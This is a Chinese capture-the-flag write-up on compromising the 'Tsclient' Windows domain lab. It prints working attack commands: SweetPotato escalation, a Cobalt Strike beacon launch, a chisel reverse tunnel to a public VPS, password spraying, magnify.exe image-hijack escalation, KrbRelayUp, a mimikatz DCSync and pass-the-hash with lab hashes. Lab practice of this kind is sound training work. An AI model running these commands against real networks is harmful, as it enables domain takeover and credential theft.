文章目录
- 靶标介绍:
- 外网
- mssql弱口令
- SweetPotato提权
- 上线CS
- CS注入在线用户进程上线
- 内网
- chisel搭建代理
- 密码喷洒攻击
- 映像劫持 -- 放大镜提权
- krbrelayup提权
- Dcsync
- 参考文章
考点:
- mssql弱口令
- SweetPotato提权
- CS注入在线用户进程上线
- 共享文件
- CS不出网转发上线
- 密码喷洒攻击
- 映像劫持提权(放大镜提权)
- Dcsync
靶标介绍:
Tsclient是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有3个flag,分布于不同的靶机。
外网
mssql弱口令
先用dirsearch扫描一下, 基本没有扫描到什么东西
fscan扫描一下 (之前kali下载的fscan啥也没扫出来,有点奇怪,得重新下了)
可以发现一个
用MDUT连接一下
成功连接, 但是开始没法执行命令, 上传文件, 四个模式都尝试了一下, 都不行, 后面点了一下激活组件的第一个, 发现可以成功执行命令了
SweetPotato提权
但是权限很低, 利用SweetPotato提权一下, 上传文件 (可能需要激活一下那些组件, 我开始没法上传, 激活后才可以的)
可以发现现在有了system权限
C:/Users/Public/Sweetpotato.exe -a whoami
拿到第一个flag
C:/Users/Public/Sweetpotato.exe -a "type C:\Users\Administrator\flag\flag01.txt"
上线CS
新建一个监听, 然后以这个监听生成一个🐎
然后上传CS的🐎, 把CS给上线, 用提权的命令执行, 这样上线后的CS也是system权限了
CS的服务端要运行在公网ip上, 然后也要记得把端口打开, 我一直卡在这里卡了好久😅…
C:/Users/Public/Sweetpotato.exe -a "C:/Users/Public/6.exe"
可以发现成功上线CS, 而且也是system的权限
查看一下用户
shell net user
直接hashdump
, 抓一下密码hash值, 毕竟现在是system的账户权限
CS注入在线用户进程上线
查看一下在线用户 , 可以发现有john的用户在线, 那么可以用CS直接注入进程上线
shell quser || qwinst
查看进程列表, 选择john用户的进程进行注入
可以看到以john的用户成功上线
在这里插入图片描述
然后再去查看用户, 可以发现存在共享文件
查看一下共享的文件里面的内容
shell dir \\TSCLIENT\C
shell type \\TSCLIENT\C\credential.txt
可以找到一个域用户的用户名和密码 , 并且提示了镜像劫持
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
内网
chisel搭建代理
现在开始来搭建一下代理, 访问它的其他内网主机
服务端(vps)
./chisel server -p 8888 --reverse
客户端
shell C:/Users/Public/chisel.exe client 175.178.215.81:8888 R:0.0.0.0:9383:socks
成功连上 在9383端口开放socks代理
密码喷洒攻击
用少数的用户名和密码一个一个的碰撞, 看看是否能够登录到某个主机
(就是已知某个用户名和密码(或者尝试使用弱口令), 但不知道是有哪个主机可以登录, 所以一个一个尝试)
前面已经知道了一个用户名和密码
proxychains4 -q crackmapexec smb 172.22.8.0/24 -u 'Aldrich' -p 'Ald@rLMWuy7Z!#'
#1. -q : 表示安静模式, 即减少输出信息,只显示必要的执行结果,避免冗长的日志。
172.22.8.18 --> 未显示认证结果
172.22.8.46 --> 认证失败, 显示密码过期
172.22.8.31 --> 认证成功, 可以登录
172.22.8.15 -->未显示认证结果
使用rdesktop
进行登录
proxychains rdesktop 172.22.8.31 -u Aldrich -d xiaorang.lab -p 'Ald@rLMWuy7Z!#'
提示密码过期, 必须要更改密码, 密码也不能太简单
123!@#QWE
也可以使用smbpasswd.py
直接修改用户名的密码进行登录 (是工具impacket里面的脚本)
python3 smbpasswd.py xiaorang.lab/Aldrich:'Ald@rLMWuy7Z!#'@172.22.8.15 -newpass '123!@#QWE'
改完密码后又登录不上这台主机(172.22.8.31), 但是可以登录172.22.8.46的主机, 用改后的密码
成功登录
proxychains rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p '123!@#QWE'
映像劫持 – 放大镜提权
前面也提示了要进行镜像劫持, 所以先查看一下权限 (powershell
执行)
# 查看权限
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *
命令解释:
-
get-acl 是 PowerShell 中的一个 cmdlet,用于检索文件、文件夹或注册表键的访问控制列表(ACL)。
ACL 包含权限信息,例如哪些用户或组可以访问该路径,以及他们的权限类型(读取、写入、完全控制等)。
-
-path : 指定要检查的对象路径
-
**fl *** : 是 Format-List 的别名,用于将对象的属性以列表形式显示,
*
表示通配符, 显示对象的所有属性
PS C:\Users\Aldrich> get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | f
l *
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentV
ersion\Image File Execution Options
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentV
ersion
PSChildName : Image File Execution Options
PSDrive : HKLM
PSProvider : Microsoft.PowerShell.Core\Registry
CentralAccessPolicyId :
CentralAccessPolicyName :
Path : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentV
ersion\Image File Execution Options
Owner : NT AUTHORITY\SYSTEM
Group : NT AUTHORITY\SYSTEM
Access : {System.Security.AccessControl.RegistryAccessRule, System.Security.AccessControl.RegistryAcce
ssRule, System.Security.AccessControl.RegistryAccessRule, System.Security.AccessControl.Regis
tryAccessRule...}
Sddl : O:SYG:SYD:PAI(A;CIIO;KA;;;CO)(A;CI;CCDCLCSWRPRC;;;AU)(A;CI;KA;;;SY)(A;CI;KA;;;BA)(A;CI;KR;;;B
U)(A;CI;KR;;;AC)
AccessToString : CREATOR OWNER Allow FullControl
NT AUTHORITY\Authenticated Users Allow SetValue, CreateSubKey, ReadKey
NT AUTHORITY\SYSTEM Allow FullControl
BUILTIN\Administrators Allow FullControl
BUILTIN\Users Allow ReadKey
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES Allow ReadKey
AuditToString :
AccessRightType : System.Security.AccessControl.RegistryRights
AccessRuleType : System.Security.AccessControl.RegistryAccessRule
AuditRuleType : System.Security.AccessControl.RegistryAuditRule
AreAccessRulesProtected : True
AreAuditRulesProtected : False
AreAccessRulesCanonical : True
AreAuditRulesCanonical : True
看到它的访问权限(Access) , 可以发现经过身份验证的用户(Authenticated Users)可以设置值(SetValue
)、创建子键(CreateSubKey
)和读取键(ReadKey
)
那么我们通过用户名和密码登录的用户应该是经过身份验证的用户, 可以拥有这个权限,可以修改注册表
修改注册表映像劫持,使用放大镜进行提权
修改放大镜启动的 magnify.exe
替换成 C:\windows\system32\cmd.exe
这样在打开放大镜的时候就变成了打开cmd
, 从而提升了cmd的权限
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
命令解释:
-
REG ADD: 这是一个 Windows 命令行工具,用于向注册表添加新的键或值
-
“HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe”:
-
指定注册表路径:
- HKLM 是 HKEY_LOCAL_MACHINE 的缩写,表示本地计算机的注册表根键的驱动器形式。
- SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options 是一个特殊的注册表位置,用于配置可执行文件的执行选项。
- magnify.exe 是 Windows 自带的“放大镜”工具(Magnifier),位于 C:\Windows\System32 目录下。
这个注册表路径是 Windows 用于调试或拦截程序执行的机制。通过设置 Debugger 值,可以让指定的程序在启动时被替换为另一个程序。
在这里,magnify.exe 被“劫持”,启动时会被替换为 cmd.exe
-
-
/v Debugger:
- /v 表示要添加或修改的注册表值的名称。
- Debugger 是一个特定的值名,在 Image File Execution Options 下,用于指定当目标程序(这里是 magnify.exe)启动时,代替它运行的调试器程序。
-
/t REG_SZ:
- /t 指定值的类型。
- REG_SZ 表示这是一个字符串类型的值(即文本数据)。
-
/d “C:\windows\system32\cmd.exe”:
- /d 指定要写入的具体数据。
- “C:\windows\system32\cmd.exe” 是 Windows 的命令提示符程序路径。
点左下角的头像, 再点击锁定
右下角点击放大镜, 就会直接弹出一个cmd的窗口, 并且权限是system
拿到第二个flag
type C:\Users\Administrator\flag\flag02.txt
flag{0c3db229-2601-46d9-943b-4afb57b71ffc}
内网主机172.22.8.46
肯定是不出网的, 所以还需要做一个代理转发, 让我们的主机能够直接访问到 .46主机, 方便使用一些工具对这个主机进行一些操作
用172.22.8.18
进行转发上线CS
利用这个内网主机创建监听
再通过这个监听生成一个🐎
生成的🐎要传到主机172.22.8.46
,看wp的时候是说 远程桌面可以直接本机的文件复制粘贴过去, 但是我一直不行, 卡了很久
需要在连接的时候挂载本地文件
proxychains rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p '123!@#QWE'
proxychains4 rdesktop 172.22.8.46 -u Aldrich -d xiaorang.lab -p '123!@#QWE' -r disk:share=/mnt/xpw/kali_shard
# -r:rdesktop 的选项,用于启用资源重定向(resource redirection)
# disk:share=/mnt/xpw/kali_shard
# 表示将本地目录 /mnt/xpw/kali_shard 映射到远程桌面会话中,作为一个共享磁盘,名称为 share
再登录的时候就可以看到kali的共享文件了
运行这个7.exe, 就可以发现CS也已经成功上线了
然后就可以进行信息搜集一波了
shell net user /domain
shell net group "domain admins" /domain
krbrelayup提权
https://wwwgeneral.github.io/posts/from-unprivileged-user-to-system-krbrelayup/
\\tsclient\share\KrbRelayUp.exe relay --domain xiaorang.lab --CreateNewComputerAccount --ComputerName xpw$ --ComputerPassword pass@123
\\tsclient\share\KrbRelayUp.exe spawn -m rbcd -d xiaorang.lab -dc DC01.xiaorang.lab -cn xpw$ -cp pass@123
一直没成功, 不知道为什么, 一运行就会把我的共享文件给断开, 然后想复制放到其他目录去, 也不行, 复制不了, 有点奇怪…(在这里又浪费了很多时间)
Dcsync
后面还是用的镜像劫持的方法在system权限的cmd窗口上线CS, 这样上线的CS也是system权限
\\tsclient\share\7.exe
有了system的权限就可以抓取hash, 然后打hash传递拿域控主机的权限了
proxychains4 crackmapexec smb 172.22.8.15 -u WIN2016$ -H 4ba974f170ab0fe1a8a1eb0ed8f6fe1a -d xiaorang -x "type C:\Users\Administrator\flag\flag03.txt"
又是一直没成功, 一直显示认证失败, 说明抓取的hash是错误的 (有点奇怪 , 不知道为什么, 我看其他人是这样可以成功来着的啊😵💫, 可能哪里其他地方做错了)
不过前面搜集的信息可以看到, 域管理员的账户有两个WIN2016$
Administrator
WIN2016$
这个行不通就看看另外一个
hashdump
可以抓到 Administrator
的hash
proxychains4 crackmapexec smb 172.22.8.15 -u Administrator -H 8e2eec0e9e0d89e1b046b696e0c2aef7 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"
依旧没有认证成功
甚至认证本地172.22.8.46
主机, 而不是域控主机, 都没有成功, 不理解, 有点崩了 … (还是太菜了,照着wp写都不能成功, 唉!!!)
然后就上传了一个mimikatz.exe
到.46主机上
从域控制器中 dump 出所有账户的凭据信息
shell \\tsclient\share\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"
proxychains4 crackmapexec smb 172.22.8.15 -u administrator -H 2c9d81bdcf3ec8b1def10328a7cc2f08 -d xiaorang.lab -x "type C:\Users\Administrator\flag\flag03.txt"
关掉靶机之后, 才反应过来, 这里也抓到了WIN2016$
的hash, 前面一直没成功应该就是用错了hash值导致的
不过看了看前面的前面的记录, 发现在使用
logonpasswords
的时候, 是有好几个WIN2016$
这个用户的hash, 其中里面也有这个, 但是我偏偏试了其他的几个, 好像就没试过这个, 有点蠢了 …
看别人的wp的时候感觉没这么难, 但是晚上打的时候卡了好多的点, 花了好多时间, 结果还没打完, 卡到了无法传文件上去, 留到了第二天
第二天本来想试试krbrelayup
提权, 结果又卡到了, 也没解决, 还是用的映像劫持, 然后就是hash传递又卡到了
参考文章
https://fushuling.com/index.php/2023/08/29/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%c2%b7tsclient/
https://www.cnblogs.com/kingbridge/articles/17645128.html
https://www.kinsomnia.cn/index.php/2024/03/07/%E6%98%A5%E7%A7%8B%E4%BA%91%E5%A2%83-tsclient/